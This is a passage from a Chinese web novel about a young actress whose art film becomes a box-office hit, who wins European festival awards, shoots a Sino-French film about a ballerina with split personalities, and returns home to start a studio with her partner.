《婉君》不一样,她题材老套,氛围沉重,某些情节过于扭曲人性,虽然在影片中只是隐晦地暗示并没有具体拍摄,但不论从哪方面看,她既不会受年轻人欢迎,也不大可能被中老年喜欢。 但诡异的是,票房收入一天比一天高。 白谈再次打来电话时,温苒听他的语气都飘乎乎的,“是不是影院帮咱们偷票房了?” 温苒:“……” 所以您有这种猜测,不会是握住了影院的把柄吧? 原因当然不可能是这种大乌龙,原因还要从霍骁北说起。 第69章 第69章千禧年影后12 酒香也怕巷子深,演得好拍得好不代表票房就好。 很多好的电影也并不适合在电影院这种公共场合观看,嘈杂的环境会大大降低观影体验。 然而上映一周后,高达千万的票房让所有人都沉默了。 这个数字,即便是幕后推手霍骁北也没有料到。 广播电台买广告、杂志报纸投稿影评、线下发传单,还有抽奖送电影票。 杜凌掰着手指头数了一遍,不敢置信地喃喃:“这才花了不到十万块钱,就、就能换回来千万票房?!” 土包子杜凌第一次体会到了营销和宣传的魅力。 温苒:“……” 温苒很冷静,她说:“千万票房和我关系也不大,我只有两万的片酬。” 但是倒贴了快八万的宣传费! 霍骁北默默给媳妇儿盛了碗汤,“投稿的影评赚了六百块钱稿费。” 温苒瞪他,你有脸说? 杜凌好心劝架,“小苒你不能这么想,你拍的电影赚钱是大好事,这说明你能担票房,你演技好又能赚钱,以后就不愁剧本了。” 温苒木着脸,“我只靠演技就不愁剧本。” 票房不票房的,现在票房都是国外大片的天下,国内电影只要不赔本就算可以了。 而且你就看吧,霍骁北这些宣传手段迟早被发现,然后被复刻。 现在国内老百姓还比较淳朴,就算是烂片吹得多了也会去看。 谁不想赚钱? 谁不想以小博大? 到时候都去比宣传和营销,风气就是这么变坏的! 温苒振振有词,听得杜凌心生惭愧,放下饭碗跑去阳台上练功了。 霍骁北:“……” 大傻子,知道温苒演技好还什么都信。 温苒完全没有把好友忽悠瘸的心虚,她就是心疼钱怎么了? 然而,前一天温苒还在强烈谴责这种行为,第二天就接到了剧组的电话,那边表示:可以为霍骁北买广告的费用报销,另外,他们也买了广告。 温苒:“……” 温苒转身,扑到霍骁北身上,吧唧亲了他一口,却道:“你为什么不多买点?” 霍骁北:“……” 他还不想被赶出家门。 剧组的经费还是很充足的,就算不充足,看到宣传成本和票房收入的强烈对比后,临时申请一笔费用也相当简单。 更不要说《婉君》是文化部拉班底拍出来,为了冲国际奖项,也是预备当门面的片子,给宣传口的兄弟单位们去个电话,当天各大电视台和广播电台就上了宣传片。 工作日连播三天,周四电影节主办方来了通知,《婉君》入围了 最佳女主、最佳外语片、最佳摄影等几项提名。 宣传片紧急加入这则好消息后,第二天,周五的票房就往上猛窜一大截。 为国争光啊,这必须去支持! 手握财政大权的中老年率先加入观影群体。 随后的双休日,年轻人进入影院,追求时髦的她们直奔外国大片,却被一同前来的长辈家长强行拖去看《婉君》。 这时候就显出电影和电视剧最大的不同了。 电影票要花钱,票钱就是沉没成本,进了观影厅,只要片子不是烂到极点,大部分观众还是会坚持下去。 《婉君》显然用不到坚持两个字。 温苒的演技能把同学带入戏,自然也能把观众带入进去。 《婉君》拍摄时,尽管温苒最初的表演就足以诠释三个角色,但导演袁千望和编剧白谈精益求精,将温苒的潜力一遍又一遍压榨出来,最终成品可以称之为‘艺术品’。 婉君、二姨太和大太太三个角色依次出场,虽然同时都由温苒扮演,但观众们一眼就能分辨出来这是三个不同的角色。 性格鲜明的神态和动作将略有不同的扮相发挥到极致,沉浸在剧情里的观众,丝毫没有发现这三个角色是同一个演员。 直到,二姨太撞死,婉君成了新的二姨太。 二姨太‘借尸还魂’,看懵了一群观众,也看毛了一群观众。 什么情况? 二姨太不是死了吗? 婉君呢? 婉君难道不堪受辱也自杀了吗? 紧接着丫鬟们开始议论:“二姨太读过书,性子好,对我们下人也好,老爷也喜欢她,如果二姨太是大太太就好了。” 于是二姨太杀死了大太太,就在二姨太当初撞死的地方,大太太死不瞑目。 二姨太有肚子这个保命符,她成了新的大太太。 然而死的真的是大太太吗? 因为大太太也像二姨太一样‘借尸还魂’,继续生活在这座宅院里。 肚子七个月大的时候,丫鬟们说老爷领回来了一个女学生做姨太太,大太太听了,从绣楼上跳下去。 丫鬟们说:“大太太又走了。” 电影结束,伴随着阴森森的配乐,胆子大的鸡皮疙瘩都冒了出来,胆小的更是整个人缩到椅子上不敢动弹了。 这周最新的报纸杂志,都在谈论《婉君》这部电影。 有拿‘一人分饰三角’这一点对着温苒大夸特夸的。 有试图分析剧情和立意的。 还有在分析角色分析隐喻的。 两个半小时的电影,就差被她们按秒来分析了。 出乎意料的是,两周上映结束后,第三周的工作日票房再次迎来爆发。 温苒听白谈那边实时汇报都无语了,不会是霍骁北又花钱宣传了吧? 两千八百万的票房真的非常可以了。 然而年轻人们拒绝,年轻人们有自己的想法,她们认为这部电影的票房还可以更高。 不能光我一个人被吓到,我得多拉几个垫背的。 带着这样的想法,同学、朋友、同事们开始遭了殃。 工作日下班/放学后,兴高采烈去电影院,笑容满面进去,出来时脸色惨白。 三周后,票房达到了三千两百万。 袁千望整个都懵了,“咱们这个片子,观影门槛儿还是有的吧?” 白谈摆手,“别提了,我女儿的同学都说,她们拿恐怖片看的。” 虽然确实挺恐怖,但重点不在恐怖。 “咱们选了个好演员。”白谈说道:“温苒能把观众带入戏,这大大降低了观影门槛。” “再加上宣传到位,老百姓主动支持,年轻人又追时髦,票房才会这么高。” “不过,”白谈摇着头笑,“也只有你这位大导演拍出来的片子,质量经得起考验,怎么宣传都不为过,有这个票房啊是应当的。” 十月底,欧洲六大电影节中的海纳电影节率先开幕。 到次年三月,余下五大电影节会陆续举办。 《婉君》入围了海纳电影节的最佳外语片和最佳色彩奖项。 虽然没有温苒的份,但她身为女主角,很有出场的必要。 剧组派了位裁缝师傅给温苒量体裁衣,挑的布料这么打眼一瞧,都能算得上古董了。 红绿白蓝黑紫青,六个颜色每个颜色两套,都是各色版型的旗袍搭配云肩。 霍骁北问剧组的工作人员,“置衣费用剧组能报销吗?” 工作人员犹豫,“这个,我不清楚。” 霍骁北点了点头,“你问一问,不报销我们可以自费。” 工作人员:“……” 啊这、这些可不便宜?几万块都打不住呢! 温苒量完身材出来,在小铺子里转悠,她看了眼霍骁北,“我想给阿姨买几件。” 霍骁北走到她身边,陪她挑了两件,进了后面的房间。 等他出来,温苒凑上去,“你去做什么?” 霍骁北实话实说,“店里的宣传册子上有几张照片,上面旗袍的盘扣用的是珍珠,我明天送一盒过来。” 温苒松了口气,幸亏没说买了东西。 珍珠嘛,店里有,但她们自己也有,千万不要话冤枉钱买! 白色的粉色的黑色的,三色三盒珍珠圆润透亮,师傅打开一看,眼睛放出两道光芒。 好布料就该用这样好的珍珠来佩! 置衣费最终是剧组为温苒报销,都准备妥当后,剧组坐上飞机出发。 霍骁北请假随行,以剧组翻译人员的名义,食宿费用全包。 海纳电影节在地中海附近的某个小城市举办,每年到了这个月份,小城都人满为患。 剧组提前订了酒店,入住休息一天后,工作人员联系电影节主办方确定行程,《婉君》剧组三天后出席红毯,并在7号观影厅放映。 袁千望和白谈私底下对拿奖不抱希望。 袁千望说道:“这几天放映的都是没有提名或提名边缘奖项的电影,《婉君》跟它们一起放。” 白谈让他宽心,“没事,还有威布斯和阿尔琉斯电影节,卡米拉还没给消息,尼蒙奇今年的还没开始。” 袁千望可宽不了心,上面这次的目的很明确,至少两个最佳外语片和一个最佳女主角。 华国文艺界要和国际接轨,首先得有个受国际主流电影节承认的演员,不然连同台竞技的机会都没有。 红毯当天,温苒一早被喊醒,坐在镜子前任由造型师装扮。 造型师和温苒唠嗑,“今天是红色旗袍,好意头叫开门红。” 红色旗袍用金线刺绣,白色珍珠装点金凤朝天。 云肩上用金线和珍珠编织出凤羽,云肩的下摆全部由金线串珍珠铺成。 温苒年轻,皮肤好,红润透亮,化妆师给她描了描眉,扑了层薄薄的粉,抹上大红色口红。 发型师给她挽了个发髻,插上珍珠银簪,散落的长发搭在肩上。 温苒站起来,别的不说,这一身够喜庆。 大红色显俗,但温苒够白,气质干净清冷,再华丽的衣服穿在她身上也只是点缀。 穿上高跟鞋,温苒长高五厘米。 披上云肩,温苒却感觉自己变矮了。 天啊,这也太沉了,那一颗颗珍珠果然是真珠。 但不能脱,师傅花费大精力做出来她们花大价钱买下来,至少得穿出去显摆一次。 汽车缓缓向着电影节出发,和工作人员对接后,汽车停在红毯入口。 温苒捏了捏手心,待会儿车门打开,她一个人下车,也要一个人走完数十米的红毯。 红毯两侧是等着拍照的记者,人数不多。 这是海纳电影节的第二周,开幕式才叫热闹,大咖群星云集,一抓一把影后,他们早就拍够了。 现在还不走,是在继续搜集素材。 沉寂的气氛中,温苒下了车子,迈上红毯。 其实她有点懵了。 她穿的红色,红毯也是红色,拍出来的照片不会很诡异吗? 红毯上长了个人? 还是红毯上飘了颗头? 也是从互联网时代过来,遍历明 星各种红毯黑照的温苒,并不想以后也成为媒体口中盘点的黑照主人。 她绷紧脸,加快了步子。 于是刚被广播叫回神的记者们,一眨眼的功夫就见温苒蹿出去了八米远。 第一排某位记者眼疾手快,咔嚓摁下了快门。 胶片上,一位身穿红衣的东方美人留下了她奔跑的身影。 阳光下,她的皮肤白皙剔透,神情坚毅,红衣上金色的凤凰熠熠生辉,振翅欲飞。 一闪而逝的惊艳让记者久久无法自拔,待回过神来,他疯狂转头寻找那位东方美人,却见红毯上早就人影空荡。 温苒被指引着来到放映厅门口,那里霍骁北正在等候。 温苒解下云肩交给他,和他进了放映厅,悄悄来到第三排剧组的位置。 主持人上台,大致介绍影片内容后,依次请导演、编剧和主演上台。 温苒作为主演,霍骁北作为翻译,两人一前一后上台。 台下此时,一双眼睛亮了亮。 十分钟的简短采访后,是观众提问时间。 袁千望和白谈的外语属于既听不懂也学不会的水平,全程由霍骁北翻译,一问一答倒还算融洽。 之后温苒等人回到座位,影片开始。 温苒的表演技能虽然还在LV4,但她在这部影片里发挥出了LV5的水平。 艺术不分国界,影片结束后,观影厅里爆发出轰动的掌声。 主持人抹着眼泪上台,贡献了一番语无伦次的夸赞,最后道:“让我们邀请海纳电影节的特邀评委,弗朗索瓦先生!” 观影厅后排,身材高大的法国男人大步上台,接过话筒后,目光一转,定在了剧组的方向上。 他眼睛红彤彤的,振声道:“索菲亚,你演得很棒!” 弗朗索瓦这句话用的是中文,看来这几年没白学。 但也正因此,剧组的人都听懂了。 袁千望和白谈震惊地扭过头。 白谈:“温苒你洋名儿叫索菲亚?” 袁千望心说,这个是重点吗?重点难道不是,温苒竟然认识这个弗朗索瓦吗? 弗朗索瓦在场人谁不知道? 法国巴黎中央戏剧学院的教授,威布斯电影节的发起者之一,西方赫赫有名的戏剧理论大家,西方戏剧界的泰斗人物! 海纳电影节官方十大评委,其中有四位是弗朗索瓦的学生。 用中文来讲,这四个学生是弗朗索瓦的亲传弟子。 然而即便如此,弗朗索瓦的年纪并不算大,他52年生人,今年才四十九岁,比袁千望还小一岁。 弗朗索瓦下台后,直奔温苒的位置,笑眯眯和温苒霍骁北打招呼,“Ran,Xiaobei,我们又见面了,我的中文是不是进步很大?” 两人站起来,霍骁北让出位置,“还有进步的空间。” 周围人在散场,弗朗索瓦却一屁股坐下来,扬了扬下巴,“中文很难学,比德语还要难。” 揭过这个话题,弗朗索瓦礼貌地看向其他人,伸出手,“袁导,白编剧,很高兴认识你。电影节结束后,我想请两位去巴黎中央戏剧学院办一场讲座,交流戏剧理论。” 霍骁北翻译给袁千望和白谈,俩人对视一眼,点了点头。 这有什么可犹豫的? 和弗朗索瓦交好有大大的好处,不答应是傻子。 散场后,弗朗索瓦邀请温苒和弗朗索瓦共进晚餐。 现在时间还早,一行人回酒店,温苒换上身普通的蓝色连衣裙。 霍骁北端着午餐进来,两人刚动筷子,门就被敲响了。 打开一看,是袁千望和白谈。 两人手上端着炒饭,进来坐下就叹气。 白谈叹气,“小苒,你怎么还瞒着我们?你早说你认识那个法国教授?” 袁千望也叹气,“早知道有这层关系,我估计文化部更愿意推进和法国合拍的计划。” 中法合拍拿奖的机会就大得多了。 温苒会意,“那晚上吃饭,我问问弗朗索瓦教授。” 两人才终于喜笑颜开。 晚餐在一家具有当地特色风情的餐馆见面。 弗朗索瓦先毫不吝啬溢美之词夸赞了温苒一番,紧接着抛出一个邀请:“Ran,我想请你出演我的电影。” 温苒:“……那,老师,您或许有没有兴趣和华国导演一起合作拍一部电影?” 弗朗索瓦神情微讶,转而拽了句中文:“你可真是我肚子里的蛔虫,我正有这个想法。” 温苒:“……” 这顿饭的目标,还没开始就完成了。 回去一讲,袁千望立马让助理联系大使馆,再让大使馆通知国内。 白谈追问温苒:“他有没有说拍什么电影?” 温苒点头,“一部题材片,芭蕾舞女演员因沉重压力精神分裂之后,几个人格互相拉扯的故事。” 白谈捕捉到关键词,“几个人格?” 他恍然大悟,“那就怪不得要找你了。” 如何用同一张脸演绎不同角色,恐怕没人比得上温苒。 电影节结束,一部分工作人员回国,袁千望和白谈,温苒和霍骁北以及几个工作人员转到巴黎。 巴黎是弗朗索瓦的主场,有之前温苒和霍骁北带他逛长京的经历,弗朗索瓦也带她们一行好好逛了逛巴黎。 袁千望和白谈的戏剧讲座大获成功,还因此被一致要求多加了几场。 阿尔琉斯电影节开幕前,温苒一行才离开巴黎。 海纳电影节颗粒无收,阿尔琉斯却让人出乎预料,《婉君》拿下了两座奖项。 一座最佳外语片,一座最佳影后。 这一年温苒十八岁,是阿尔琉斯电影节迄今为止最年轻的影后,是华国第一位真正意义上的国际影后,也是华国最年轻的影后! 消息传回国内,各大电视台和报纸纷纷报道:《婉君》荣获国际影后! 与此同时,一张照片在国内外媒体上疯狂传播。 由阿尔琉斯电影节主办的戏剧杂志刊登了一张照片,正是温苒参加海纳电影节红毯时,被抓拍到的那张照片,投稿记者将其命名为《婉君》。 主办方为其题上了这样一句评语:她自由了;婉君们自由了。 国内妇女日报转载了这则报道:妇女解放事业是伟大的,是艰巨的,必须长期坚持的…… 十二月初,威尔布斯电影节开幕。 温苒一行回到法国。 弗朗索瓦恭喜她,“最年轻的影后,索菲亚,你实至名归!” 一座影后奖杯,让温苒在威尔布斯电影节的红毯上大受关注。 美丽的华国面孔,精美的华国服饰,独特的气质,出色的演技…… 在第二座影后奖杯到手后,温苒落宿的酒店迎来了某奢侈品牌的设计师。 S牌的创始人曾为法国和英国皇室服务,其风格一直以低调奢华的典雅华丽为主。 在看到温苒的衣服后,设计师灵感爆发,想邀请温苒做他的灵感缪斯,也想购买温苒衣服的布料。 温苒:“……” 其实后半句才是重点吧? 这个温苒做不了主,转交给了大使馆。 大使馆也做不了主,转回了国内。 国内那边商量了商量,答应卖十匹。 想买一模一样的估计不行,温苒穿的是裁缝铺老师父的私藏,价值不菲。 而新织出来的布,一年才能织三十匹。 之后的卡米拉电影节和尼蒙奇电影节都在春节后,一行人飞回国内过年。 回国后温苒和霍骁北直奔学校,先把考试补完,再是阵热热闹闹的聚餐。 今年依旧是在长京过年。 年初五,温苒和霍骁北就启程飞欧洲。 霍青山和乔丽淑待在长京,过了十五才和杜凌家人回老家。 接下来三个电影节,一个电影节两年举办一次,另外两场温苒陪跑,《婉君》收获了一个最佳外语片和最佳摄影。 电影节结束,弗朗索瓦的电影开始拍摄,温苒直接留了下来。 霍骁北回国完成学业,温苒则入学巴黎中央戏剧学院。 为了不耽误她的课程,巴黎中央戏剧学院和长京戏剧学院为她办理了交换生。 和弗朗索瓦一起拍摄的华国导演是第六代导演,中心影视学院的百里宣桂,戏剧小生出身。 之所以让他来,就是看中他对传统戏剧的了解。 弗朗索瓦的剧本中,女主角是一名芭蕾舞演员,因被竞争对手推下楼梯伤势严重,艰难的复建中她患上了精神分裂症…… 第70章 第70章千禧年影后13 拥有过却失去,比没有拥有更要痛苦。 以舞台而生的芭蕾舞演员再也无法站上舞台,她从聚光灯下被推出去,看着害她的演员顶替了她的位置。 她无法接受。 于是某天,一个更坚定的灵魂出现了。 她不惧受伤,不惧困难,只为重新站上舞台。 这个灵魂的出现,让迟迟无法推进的复健训练顺利展开。 然而,将近一年的治疗结束后,医生给出忠告:“你的身体状况不再适合跳舞。” 但是你怎么能要求一个为舞台而生的灵魂放弃舞台呢? 无人的剧院中,女主角换上芭蕾舞裙,幻想着从前的自己,一步、一步走上舞台,她踮起了脚,然后重重地摔在地上。 往日剧院的同事不知何时出现,对女主角一番冷嘲热讽。 “首先,很开心见到你恢复健康,但……” “恕我直言,你已经不再适合站在舞台上。” 而原本她的位置,已经被推她下楼的演员占领。 那个灵魂自此再未出现。 懦弱的灵魂重新掌控身体,她甚至无法站起来,去用双腿行走。 小城里来了一家东方剧团。 女主母亲带她去听戏散心,曲音婉转典雅,闻之令人神往。 演出结束,女主回到阴暗的阁楼里,楼下路过的行人热烈地讨论着那位戏曲演员。 “原来她的眼睛看不见啊?” “上帝!她的眼睛那么漂亮,美丽的宛如黑色珍珠,她竟然失明了?” 失明却还能继续站在舞台上,这句话唤醒了消失已久的坚强灵魂。 但她却没有重新回到台上的勇气。 她开始幻想,于是某天,第三个灵魂出现了—— 故事围绕着三个灵魂的拉扯,阐述了勇气和坚强的意义。 巴黎戏剧学院开学后,温苒只有周末有时间参加剧本围读。 她点了点‘京剧剧团’,抬起头说道:“卡洛琳是一名芭蕾舞演员,我认为比起京剧,坤戏更适合剧本的基调。” 坤戏是华国最古老的剧种之一,其词曲典雅腔调婉转细腻。 百里宣桂点了点头,“其实越剧和黄梅戏也可以,这两个剧种女演员的独唱戏段很多。” “不过说起和剧本基调最相衬,确实是坤戏。” 弗朗索瓦听懵了,“我只听过两场戏,两年前我去华国,长京戏剧学院的校长带我听的。” 温苒回道:“华国戏曲有很多种类,你可以听一听其他选段。” 有关这个,还是百里宣桂人脉广,一个电话喊来了他以前学戏的大师姐,大师姐还带了满满当当两个行李箱的磁带。 然后她就被法国海关误认为走私,直接扣在了机场…… 没办法,大使馆亲自去接人,才把人安全带出来。 弗朗索瓦和百里宣桂连听了两个月戏,大使馆的广播都换成了戏曲选段,两个导演才确定了使用坤戏名曲《游园惊梦》。 期间剧本围读暂停,温苒则在巴黎某家芭蕾舞剧团学习芭蕾。 原身学的是古典舞,但不论哪种舞,芭蕾都是必学的基本功。 温苒有基础,只除了身体状态不大适应外,她的学习进度飞快。 弗朗索瓦安慰她,“虽然你无法继续跳舞,但你找到了新的舞台。” 温苒和剧本里的女主角何其相似,都是受伤后再无法跳舞。 区别就是,温苒选择了新的方向,而女主角怀抱着梦想的灵魂永远留在了芭蕾舞的舞台上。 确定了戏曲选段后,温苒又增加一项任务,双休日一分为二,一天学芭蕾,一天学唱坤戏。 百里导演的大师姐瞧着漂亮优雅一团和气,一进教室就板起了脸。 “你毕竟不是要入这一行,我不要求你唱得多好,但别给我们华国戏曲界丢脸!” “学戏先练眼,把眼神练好才算入门!” 长京戏剧学院有一门戏曲专业,表演系的基础课程里也有形体训练,真算起来温苒是有点基础的。 虽然过于牵强附会。 但一个好的演员,‘眼技’确实是核心。 终归无论是戏剧还是电影都离不开表演,拨开云雾后,不过是万变不离其宗。 温苒一上手就学得有形又有神。 百里导演大师姐:“……” 她下了课找到小师弟,一副亏大发了的表情,“哪来的孩子怎么这么灵?再早个十几年,我肯定求她拜师的!” 百里宣桂:“?!” “师姐你是不是说反了?” 哪有师父求徒弟拜师的? 大师姐狠狠瞪他,“没说反,这孩子太有天赋了,我不求她她被抢走了怎么办?” 百里宣桂:“……” 他动了动嘴,“师姐,你忘了,你已经错过了。” 先期工作准备完毕,整个剧组都在等温苒这个主演就位。 六月底,戏剧学院放暑假,霍骁北带霍青山和乔丽淑来法国看望温苒。 巴黎戏剧学院还没有放假,温苒一面学习一面训练,抽不出太多时间陪她们。 乔丽淑说让她别耽误正事,“骁北带我们转一转就行,我们来也不只是为了旅游,主要是想看看你在这边怎么样。” 她拉着温苒转了一圈,摇摇头,不满意,“瘦了,这边的饭菜不咋好吃,这段时间让骁北给你好好补补。” 乔丽淑和霍青山也没待多久,两人都有工作,玩儿了半个月就回国了。 霍骁北被留下来,专门负责温苒的饮食。 巴黎戏剧学院七月中放暑假,《惊梦》开始拍摄。 剧组租借的剧院正是温苒之前学习的地方,剧团演员则出演了电影里的剧团。 这半年温苒的每一天都没有浪费,比起拍摄《婉君》时,她的演技更加自然传神。 坐在监视器后的导演最能直接感受到,那是无法用言语来形容的震撼。 懦弱人格看似安静实则扭曲阴郁,坚强人格对舞台的追求偏执到骨子里,勇敢人格的底色是极端疯狂…… 三个看似不同的灵魂,其实她们有着共同的本质。 同,又不同,当中的度很难把握。 《婉君》的三个角色是三个彻底不同的灵魂,她们进入那座宅院,被吃人的规矩异化,最终变成行尸走肉。 《惊梦》不同,《惊梦》中三个人格有同一个追求,她们是卡洛琳在现实世界与梦想的巨大鸿沟中,追求自我救赎时,精神世界对抗痛苦的产物。 温苒的表现足够优秀,但两位导演显然不满于此,像袁千望一样对她开始了压榨。 剧组工作人员每天上班,第一件事就是到温苒面前和她交流,然后判断出这到底是哪个人格,再告诉两位导演。 电影拍摄中,用的最多的道具就是镜子和玻璃。 中后段三个人格互相拉扯时,镜子里外、玻璃两侧,是人格投向现实的媒介。 最值得一提的是,温苒戏曲扮相的戏服和头面,来自某英的某位私人收藏家。 经由大使馆出面交涉,最终花费不菲,才将古董头面买下来。 八月份,S品牌的设计师联系温苒,邀请她拍摄时尚T杂志。 弗朗索瓦工作室的经理闻讯而来,借机带上了《惊梦》电影的宣传。 时尚杂志最看重的九月和十月,有S家品牌赞助,加上两大电影节最年轻影后的噱头,关注度料想不会太低。 九月中,电影拍摄结束。 《惊梦》预计有三个语言版本,英文、法语和中文。 其他演员都使用配音,而温苒在拍摄时就分别用三种语言进行了表演。 拍完电影温苒和霍骁北就回国继续学业。 弗朗 索瓦再三挽留,邀请两人留在巴黎戏剧学院学习,但温苒不想错过毕业话剧。 百里导演还在巴黎,继续参与剪辑和宣传,同时也是想借弗朗索瓦的关系多多参与欧洲文艺界的活动。 温苒和霍骁北回到学校时,长京戏剧学院已经开学半个月,再有一周就是国庆节假期。 这次毕业话剧预备表演系和导演系合作完成,由导演系主任出任总导演,导演班班主任康佑生出任编剧,导演班全体学生协助。 现在这个时间,导演组还在修改剧本,表演班正在商量角色分配。 温苒出现在教室里时,可把大家吓个够呛。 邢玉洁扭了三次头,看了门口三回,才敢认:“温苒?!” 她声音都轻飘飘的。 温苒关上门,推着行李箱进来,面上带笑,“老师,我回来的还不算晚吧,刚好赶上角色分配?” 众人如梦方醒,一个个都拔腿冲过去,把温苒围起来,七嘴八舌地开始追问。 “你怎么回来了?” “电影拍完了?” “真稀奇,那个教授竟然愿意放你回来?” “咱们的电影什么时候上映?” 邢玉洁把这些躁动的学生一个个都分开,抚着额头,嘴角的弧度压都压不住,“都给我坐回去,一个个来。” 角色分配自然不了了之,散了会,十几个人浩浩荡荡转移到火锅店。 邢玉洁关心温苒,“怎么不在那边待到毕业?这样你能拿两份毕业证。” 两个学校的交换生政策自温苒而起,温苒在巴黎修足学分毕业,长京这边也会承认其学历,再发一份毕业证。 温苒咽下饭菜,“我不想错过毕业话剧。” 这辈子可就这么一次呢。 许虹感动地抱住她,“不过女主角我是不会让给你的!” 毕业话剧的灵感脱胎于温苒那两个小剧本之一,导演系主任对权谋题材很感兴趣,搜集资料后,以历史上某位女帝当政时期的一场宫变为蓝本完成了话剧剧本。 国庆节之后定好角色,一群人风风火火开始了排练。 温苒挑的是宫变的失败者,女帝的一位励志皇太女身份的公主。 温苒第一次尝试这种角色,在图书馆查阅大量资料下足了功夫,才开始准备人物小传。 两个系一起准备毕业作品的好处,就是霍骁北变着花样准备饭菜,温苒因此过上了饭来张口的日子。 小情侣每天腻腻歪歪,一会儿见不着就问这个问那个找人,可是叫一群同学吃足了狗粮。 温苒沉浸在话剧排练中,《惊梦》在国内定档元旦上映。 巧的是,元旦有一场颁奖典礼。 国内四大电影奖项并不是每年都举办,每两年或三年才会举办一次。 今年是2003年,《婉君》2001年上映,迄今只举办了三场颁奖典礼。 由于种种原因,温苒竟一场也未出席过,奖都是剧组和学校帮忙领的。 这次说什么也要露个面。 S品牌闻讯主动送来礼服和珠宝。 依旧是霍骁北陪同,时隔近一年温苒再次见到了袁千望和白谈。 《婉君》毫无疑问将所有奖项收入囊中。 典礼后,华阳电台邀请剧组做了一则简短的访谈,并提到了温苒正在上映的新电影《惊梦》。 访谈播出后,原本票房冷淡的《惊梦》迎来爆发。 影院门口,原本摆在角落里的《惊梦》剧照被搬到了最前面。 剧照中,翩翩起舞的芭蕾舞演员和婉转多情的坤戏花旦一左一右遥遥相望,画面割裂,但气质又莫名诡异的和谐。 来支持国际影后的中老年群体为花旦扮相惊艳。 冲着恐怖片来的年轻人们也没有失望,唱腔一哼,冷汗直出。 但怕归怕,人菜都瘾大,再加上演得确实好,都打定主意回头去买这电影的光碟。 值得一提的是,《婉君》后续的光碟售卖出了将近五十万份。 大头甚至不在国内,而在倭国,《婉君》还拿下了东京电影节最佳电影奖。 继《婉君》之后,《惊梦》的票房再次让人出乎意料。 文艺片,中法合拍,小众艺术,种种因素叠加在一起,两周竟然斩获一千九百万的票房? 业内人士不解,业内人士茫然,现在文艺片都这么赚钱了吗? 那《婉君》之后如雨后蚊子一般蜂拥出现的文艺片们怎么就扑街了呢? 女寝夜话时,海阳吧砸吧砸磕瓜子,“这有什么奇怪的?我妈说她看了三遍《惊梦》,她就愿意看漂亮姑娘。” 许虹也说:“我弟约女同学去看《惊梦》,说看恐怖片能促进感情。” 温苒:“……” 《婉君》恐怖就算了,《惊梦》怎么就恐怖了? 年后卡米拉、尼蒙奇和两年一届的罗尔曼电影节陆续开幕。 来自东方的美人再次震撼电影节。 温苒忙着排练,并未出席电影节,三座影后奖杯也是由两位导演代领的。 百里宣桂的大师姐给温苒打来电话,声音激动:“温苒!我们坤戏剧团被邀请去法国巡演!” 《惊梦》在电影节后陆续在欧美各地上映,出乎意料的叫好又叫座,欧洲票房九千万欧元,美国票房四千万美元,俄罗斯票房也很瞩目。 温苒这个名字,随着电影的火爆享誉全球。 与此同时,坤戏也被人熟知。 华国传统戏剧曾在民国时达到鼎盛,当时的剧团几度出海演出,但终因种种原因逐渐没落。 相比较《惊梦》海外票房带来的外汇,坤戏的出海最让人意想不到也是最让人惊喜的。 毕业话剧大获成功,温苒拿到毕业证书,搬离了学校的宿舍。 同班同学各自飞向新的剧组。 班上有半数同学进了制片厂,周可选择了留校,余下几人签了经纪公司。 杜凌加入了温苒和霍骁北的工作室,虽然工作室现在都什么都没有,办公地点都在小区里。 招了几个员工,三个老板开始商量工作室的第一部作品。 杜凌拍桌:“拍电影!我来当男主!女主角去学校里找。” 温苒指自己,“那我呢?” 这人以前还说让杜伯父投钱,霍骁北当导演,他男主角,她女主角呢。 杜凌噎了噎,“你现在都国际影后了,前两天不还有个国际大导演邀请你去拍戏么?咱们只是个草台班子,你、你就别埋汰我们了,你老老实实当编剧。” 温苒:“……” 那他就猜错了,她非得演不可。 从霍骁北的包里掏出一沓剧本,温苒指尖点了点,“这个。” 杜凌两眼放着光,搓搓手翻开剧本,“我被杀的这一天?” 悬疑? 灵异? 还是恐怖? 看完,杜凌恍恍惚惚,“都不是,是科幻片?” 温苒:“……是悬疑,加时间循环。” 怎么就科幻了? 电影最终放在老家拍摄。 三人收拾收拾,带着工作室的员工坐火车回到老家。 她们自打上了大学就很少再回来,几年不见老家各处都变了样子。 两家的家长一起等在车站,接到人直接拉回家里。 霍家和杜家这两年关系越发得好。 近年城里开发新楼盘,霍骁北各处都买了几套,其中两套对门,一套他和温苒住,一套给父母住。 杜凌早就盯着他呢,反手一个电话打回家,杜家也把房子买在了同一个单元。 所 以说两家人回家,回的是一个地方。 休息了几天,三人才琢磨起拍电影的事。 “场地这个我有个想法,可以租我们高中附近的职校,它们刚搬走,学校正好空出来。”杜凌说道。 霍骁北打电话让助理去联系学校方,再回来,他随口说道:“赵成宇回国了。” 温苒费了点时间才想起这人。 哦,那个不怎么样的男主。 杜凌两眼写着疑惑,“谁啊?” 温苒:“你高中同学。” 杜凌眼睛转圈,“……我记性不大好。” 霍骁北就道:“继续聊剧本。” 然而温苒知道肯定有事,晚上休息前她溜进对方的房间,“赵成宇是不是和文雪在一起了?” 霍骁北伸出手摸到床头灯打开,低头看着出现在被窝里的某人,眼底深深。 他问:“关门了吗?” 温苒点头,“关了唔——” 衣服一件件碎裂,散落在地上。 指尖无力地攥着他的寸发,温苒压抑着气息:“我、我没锁……” 霍骁北送上手指,嗓音沙哑:“那你不要出声。” 第二天,杜凌下楼找人,被霍骁北通知:“今天休息。” 第三天,杜凌下楼找人,被通知:“今天和明天也休息。” 杜凌:“……” 两个工作狂告诉他要休息,简直骇人听闻! 他眼神狐疑,所以,“真的不是温苒出什么事了吗?咱们剧本里有这个情节的。” 霍骁北:“……” “去洗洗脑子,待会儿跟我出趟门。” 杜凌比了个手势,“OK!” 霍骁北出门,先回了趟城中村的老房子。 “哎哟骁北回来了?你爸妈呢?我正好有事找她们,你表弟成宇,前两天回来了!” 老邻居们纷纷围上来。 “骁北,你跟小苒,你俩还在一块儿吗?” “哎哟这姑娘不得了喽,现在是国际影后呢!” 杜凌挂着一身板凳出来,招呼大家坐,笑着说道:“在一块呢!他俩还打算结婚呢,放心吧!” “那就好!那就好!” “俩人都是好孩子,看着就般配,我早就说这俩孩子合适!” “依我看,骁北这命啊旺妻,以前小苒被她爸和后妈欺负成那样,你看跟骁北在一块后就成了国际影后!” “是哦!” “说起温长林,那老小子可真不要脸,小苒红了以后,他张罗着小苒她爸的身份还想收人钱呢!” 杜凌看了眼霍骁北,这个他知道,为了这事他和对方专门回了趟老家,一次就把温长林给治服了。 杜凌竖起耳朵打听,“那后来呢?他又犯贱了吗?他不是早就和温苒断绝父女关系了,脸怎么这么大?” “可不是?脸皮真厚!” 